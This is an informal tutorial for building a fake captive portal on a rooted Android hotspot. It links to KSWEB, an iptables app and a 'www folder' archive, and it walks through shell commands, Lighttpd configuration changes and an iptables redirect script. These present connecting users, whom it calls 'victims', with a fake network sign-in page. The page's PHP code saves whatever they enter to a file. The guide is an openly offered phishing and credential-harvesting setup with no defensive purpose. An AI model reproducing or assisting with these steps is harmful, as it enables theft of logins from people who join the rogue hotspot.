Fake captive portal android
BrotherBoardResources to get:
KSWEB APK:
https://s3.dlandroid.com/apps/KSWEB-server[dlandroid.com].apk
IPTABLES 2 APK:
https://d-02.winudf.com/b/apk/anAueW1hdHN1bW90by5pcHRhYmxlczJfMTA4XzViZGFkOWU4?_fn=aXB0YWJsZXMgYnkgc3VfdjEuMC44X2Fwa2ZhYi5jb20uYXBr&af=-1058058327&k=c388367df176471f490c693bf5ff7ca064ebf752
www Folder:
https://drive.google.com/file/d/1_z6qemvFb2xxqcp-QFMG7_UJjqUw0OmK/view?usp=sharing
Steps to follow:
1. Open KSWEB app, turn all servers off except Lighttpd and PHP, then navigate to settings, check "Use Root"
2. Force stop KSWEB app and open it again, navigate to Lighttpd tab and click "Console command" and this is where we need to add our IP to shell, I'm gonna use:
ip: 2.2.2.2. with port: 2222
3. in Console Command, type
su -c ip address add 2.2.2.2 dev wlan1
for samsung oneui, wlan1 is replaced with swlan0
4. as you see, I told shell to add the ip
(replace with yours if want) and I hosted the ip on wlan1 which is the lan name of hotspot, wlan0 is the router you are connected to ig.
5. in the same Lighttpd tab, you will see "Configuration" so click edit EDIT to edit the Lighttpd.conf file
6. there is a line 11 which says something about document root, set that directory to:
/sdcard/www
and now, Line 31 (the dir listing thingy) make it say "disabled" instead of "enabled" now people who are on your server should not see the files of ServerRoot
7. Under line 31, make a new line and paste this in it:
server.error-handler-404 = "/404.php"
then save the modified file.
8. Extract "www Folder.zip" to your internal storage, now there should be a www folder in your internal storage, it's configured to run on my ip and port, you can edit it with your own ip but it doesn't matter anyway
9. Now at the Lighttpd tab, click the Plus (+) thingy and add a host where host name is the ip of server which in my case is:
2.2.2.2
and the directory should be the www folder in your internal, where it is:
/sdcard/www
10. now open iptables2 app and click the button which says "command" then click the button which says "script" and you will see a white text box, enter this directory in it:
/sdcard/www/redirect.sh
now the "sign in to network" is set up to victims
11. test the server by going to the ip followed by port in your browser, like this in my case:
http://2.2.2.2:2222
it should do DD LOGIN
Tips:
you can use your own html, be sure to copy my php code in the old validate.php that extracts info to the file
to stop server there is a switch in ksweb app
u may need to do iptables thingy again after device restart idk